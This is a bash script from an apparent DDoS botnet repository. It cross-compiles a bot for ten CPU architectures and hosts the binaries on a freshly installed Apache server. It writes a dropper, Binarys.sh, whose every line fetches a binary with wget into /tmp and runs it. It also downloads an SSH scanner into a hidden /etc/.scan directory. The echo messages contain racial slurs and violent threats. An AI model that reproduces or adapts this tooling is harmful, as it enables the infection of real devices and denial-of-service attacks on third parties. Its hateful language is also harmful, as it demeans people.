Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA.6a434b.sh
5038 views
1
#!/bin/bash
2
3
#########################################
4
###############Botnames##################
5
#########################################
6
L1='jackmymipsel' #mipsel
7
L2='jackmymips' #mips
8
L3='jackmysh4' #sh4
9
L4='jackmyx86' #x86_64
10
L5='jackmyarmv6' #armv6l
11
L6='jackmyi686' #i686
12
L7='jackmypowerpc' #powerpc
13
L8='jackmyi586' #i586
14
L9='jackmym86k' #m86k
15
L10='jackmysparc' #sparc
16
17
#########################################
18
##############Wgetlinks##################
19
#########################################
20
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
21
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
22
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
23
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
24
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
25
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
26
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
27
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
28
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
29
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
30
echo "Clearout If you didnt type NSA.sh NewK.c I will fucking hang you!"
31
sleep 5
32
$myip="curl icanhazip.com"
33
34
#########################################
35
################Wgetting#################
36
#########################################
37
if [ -d cross-compiler-mips ]
38
then
39
echo -e "\e[1;32mcross-compiler-mips is present, no need for wget"
40
else
41
wget $mips
42
tar -xvjf cross-compiler-mips*
43
fi
44
if [ -d cross-compiler-mipsel ]
45
then
46
echo -e "\e[0;36mcross-compiler-mipsel is present, no need for wget"
47
else
48
wget $mipsel
49
tar -xvjf cross-compiler-mipsel*
50
fi
51
if [ -d cross-compiler-sh4 ]
52
then
53
echo -e "\e[1;32mcross-compiler-sh4 is present, no need for wget"
54
else
55
wget $sh4
56
tar -xvjf cross-compiler-sh4*
57
fi
58
if [ -d cross-compiler-x86_64 ]
59
then
60
echo -e "\e[0;36mcross-compiler-x86_64 is present, no need for wget"
61
else
62
wget $x86_64
63
tar -xvjf cross-compiler-x86_64*
64
fi
65
if [ -d cross-compiler-armv6l ]
66
then
67
echo -e "\e[1;32mcross-compiler-armv6l is present, no need for wget"
68
else
69
wget $armv6l
70
tar -xvjf cross-compiler-armv6l*
71
fi
72
if [ -d cross-compiler-powerpc ]
73
then
74
echo -e "\e[1;32mcross-compiler-powerpc is present, no need for wget"
75
else
76
wget $ppc
77
tar -xvjf cross-compiler-powerpc*
78
fi
79
if [ -d cross-compiler-m68k ]
80
then
81
echo -e "\e[1;32mcross-compiler-m68k is present, no need for wget"
82
else
83
wget $m68k
84
tar -xvjf cross-compiler-m68k*
85
fi
86
if [ -d cross-compiler-sparc ]
87
then
88
echo -e "\e[1;32mcross-compiler-sparc is present, no need for wget"
89
else
90
wget $sparc
91
tar -xvjf cross-compiler-sparc*
92
fi
93
if [ -d cross-compiler-i586 ]
94
then
95
echo -e "\e[1;32mcross-compiler-i586 is present, no need for wget"
96
else
97
wget $i586
98
tar -xvjf cross-compiler-i586*
99
fi
100
if [ -d cross-compiler-i686 ]
101
then
102
echo -e "\e[0;36mcross-compiler-i686 is present, no need for wget"
103
else
104
wget $i686
105
tar -xvjf cross-compiler-i686*
106
fi
107
rm -rf *.tar.bz2
108
echo " "
109
echo -e "\e[1;35mDone, You Lazy fucking nigger."
110
sleep 3
111
112
#########################################
113
##############Compiling#################
114
#########################################
115
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
116
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
117
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
118
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
119
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
120
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
121
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
122
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
123
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
124
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
125
apt-get install apache2; apt-get install php5 -y -q
126
yum install httpd; yum install php -y -q
127
mkdir /var/www/html/DOGDICKS/
128
mv jackmy* /var/www/html/DOGDICKS/
129
echo -e "\e[1;35mRestarting your apache nigger..."
130
service httpd restart
131
service apache2 restart
132
133
#########################################
134
#########Setting up Binarys.sh###########
135
#########################################
136
echo -e "\e[1;35mMaking payload..."
137
cd /var/www/html/DOGDICKS/; touch Binarys.sh
138
139
echo -e "\e[1;35mThis will take a few., be patient.."
140
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L1 && chmod +x $L1 && ./$L1">> Binarys.sh
141
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L2 && chmod +x $L2 && ./$L2">> Binarys.sh
142
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L3 && chmod +x $L3 && ./$L3">> Binarys.sh
143
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L4 && chmod +x $L4 && ./$L4">> Binarys.sh
144
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L5 && chmod +x $L5 && ./$L5">> Binarys.sh
145
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L6 && chmod +x $L6 && ./$L6">> Binarys.sh
146
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L7 && chmod +x $L7 && ./$L7">> Binarys.sh
147
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L8 && chmod +x $L8 && ./$L8">> Binarys.sh
148
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L9 && chmod +x $L9 && ./$L9">> Binarys.sh
149
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/DOGDICKS/$L10 && chmod +x $L10 && ./$L10">> Binarys.sh
150
151
152
#########################################
153
######Installing mods for scanning#######
154
#########################################
155
echo -e "\e[1;35mInstalling dependencies for scanning"
156
echo -e "\e[1;35mScanner can be found in /etc/.scan"
157
sleep 6
158
echo -e "\e[1;35mFinishing up install...."
159
mkdir /etc/.scan
160
cd /etc/.scan
161
wget -q http://miku.li/scan.zip
162
unzip scan.zip
163
yum install cpan wget curl glibc.i686 -y
164
cpan force install Parallel::ForkManager
165
cpan force install IO::Socket
166
cpan force install IO::Select
167
sleep 2
168
yum install gcc php-devel php-pear libssh2 libssh2-devel
169
pecl install -f ssh2
170
touch /etc/php.d/ssh2.ini
171
echo extension=ssh2.so > /etc/php.d/ssh2.ini
172
cpan force install Net::SSH2
173
#########################################
174
###############Credz#####################
175
#########################################
176
echo -e "\e[1;35mRe-made by Zone Hax For That Fat Fuck Clearout ; Skype:Zone_hax
177
178